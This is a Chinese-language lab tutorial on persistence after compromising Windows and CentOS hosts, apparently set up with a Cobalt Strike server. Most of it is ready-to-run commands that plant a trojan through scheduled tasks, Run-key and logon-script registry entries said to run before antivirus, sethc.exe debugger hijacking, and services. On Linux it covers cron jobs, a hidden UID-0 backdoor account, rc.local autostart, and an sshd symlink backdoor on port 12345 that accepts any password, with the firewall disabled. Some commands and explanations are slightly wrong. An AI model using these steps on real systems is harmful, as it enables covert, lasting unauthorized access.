准备环境
一台Kali机器当做cs的服务端,物理机当作客户端
目标机器:一台win7/win10(虚拟机)
目标机器:一台Linux机器我这里是centos7(虚拟机)
Windows10
一,计划任务权限维持
以admin用户运行这个计划任务
一分钟运行一次
schtasks /create /tn 123456 /tr "C:\Users\admin\Desktop\新建文件夹\artifact.exe" /sc minute /mo 1 /ru "Admin"
一天运行一次每天的0点运行
schtasks /create /tn 123456 /tr "C:\Users\admin\Desktop\新建文件夹\artifact.exe" /sc daily /st 00:00 /ru "Admin"
在Windows系统中,您可以使用以下命令来查询计划任务:
schtasks /query /tn 123456
要删除计划任务,您可以使用以下命令:
schtasks /delete /tn 123456
二,策略组脚本维持
首先创建一个策略组相当于开机自运行
然后点击windows -》脚本 -》点击启动
点击添加寻找木马的bat后缀文件
可以发现现在并不存在1.txt
然后重启电脑
cs也可以
三,修改注册表开机自启
创建注册表自启动项
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\Windows\System32\cmd.exe"
/V "123456": 这定义了要创建或修改的值的名称,即“123456”。
/t REG_SZ这个参数是指定创建的类型
/F这是一个开关,用于强制添加或修改指定的注册表项,即使它已经存在
四,logon scripts开机自启(优先于杀毒软件)
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\admin\Desktop\新建文件夹\artifact.exe"
/v是指定创建的名称
/t指定文件类型
/d指定文件
在注册表的HKEY_CURRENT_USER\Environment表下面创建一个任务这个表下面的任务优先级比较高
创建成功
重启电脑发现成功上面线
查看任务
五,映像劫持
映射劫持顾名思义就是通过映射的方法来进行权限维持通过访问文件一来触发文件二
可以使用命令
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f (我测试了我自己不能成功
)
命令不可以可以自己手动(下面)
首先点开注册表然后打开注册表里面的这个表
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
创建一个项将项的名字改为sethc.exe(粘滞键的程序)
然后在在文件里面创建一个建建名 随便填写 我这里使用的是Debugger 然后在下面添加他的值他的值为你想要执行的文件的绝对路径,就例如;c:\windows\system32\cmd.exe 这个就是cmd的绝对路径
然后连按五次shift建发现出来的是cmd就成功了
然后将他改为木马文件的路径
发现成功上线
六,服务自启动权限维持(要Administrator权限)
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务
已下命令及是创建一个服务并设置为开机自启的过程
sc create test binpath= C:\Users\Administrator\Desktop\新建文件夹\artifact.exe (注意等号后面有空格)#创建服务
sc config test start= auto #设置服务为自动启动
net start test #启动服务
sc delete test #删除服务
sc queryex test #查询服务
重启电脑后发现成功上线
Linux权限维持(os7)
一,计划任务权限维持(需要给我指定文件 执行权限(x))
1,/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
2,/etc/crontab 这个文件负责调度各种管理和维护任务。
3,/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
使用crontab -e 进入计划任务vim里面然后以
分钟 小时 日 月 周 的格式来填写
每周六、周日的1 : 10执行执行一次123.py
10 1 * * 6,0 /123.py
*/1 * * * *
代表每一分钟执行一次
二,linux 添加用户权限维持
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
useradd: 这是用于创建新用户账户的命令。
-p: 这个选项用于设置新用户的密码。
openssl passwd -1 -salt 'salt' 123456: 这个部分是一个命令替换,它使用openssl passwd命令来生成一个加密的密码。-1选项表示使用MD5加密算法,-salt 'salt'为密码添加一个盐值(一个随机字符串),123456是你要设置的明文密码。这个命令将返回加密后的密码。
guest: 这是你要创建的新用户的用户名。
-o: 这个选项允许你创建一个系统用户,通常只有root用户可以创建系统用户。
-u 0: 这个选项设置新用户的UID(用户标识符)为0,通常表示root用户。
-g root: 这个选项设置新用户的初始登录组为root组。
-G root: 这个选项设置新用户的附加组为root组。这意味着新用户既是root组的成员,也是其他组的成员(如果有的话)。
-s /bin/bash: 这个选项设置新用户的登录shell为bash。
-d /home/test: 这个选项设置新用户的家目录为/home/test
三,开机启动权限维持
这个rc.local文件就是linux中里面的开机自启项就像windws中的策略表差不多
linux的开启自启项文件是 /etc/rc.d/rc.local
只要我们将这个文件赋予执行权限将我们想要执行的命令和文件放进去就可以了
如果是文件的话文件也必须要有执行权限
切换目录
cd /etc/rc.d
然后编辑rc.local文件
将木马文件的路径放进去后面的 &符号的意思是在后台运行
&后台运行
四,软连接(设置软连接-》开放端口-》修改配置-》关闭防火墙-》)
完整步骤
创建一个ssh的软连接设置端口为12345端口
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 (原理就是绕过amp)
sudo firewall-cmd --add-port=12345/tcp --permanent(开启12345端口)
原理:
主要还是因为pam_rootok.so模块 这个模块就是验证用户的uid是否为0如果为0的话则不需要密码就可以登录
Vim/etc/ssh/sshd_config(修改参数)
主要还是要修改这个PasswordAuthentication参数这个参数就是验证的登录方法如果为no的话则只能通过公钥登录为yes的话可以通过密码登录
将usepam 改为yes
如果更改配置文件后我们需要重启ssh服务
sudo service ssh restart
关闭防火墙
systemctl stop firewalld
重启ssh服务
systemctl stop firewalld
ssh root@192.168.111.135 -p 12345
密码随便输入即可连接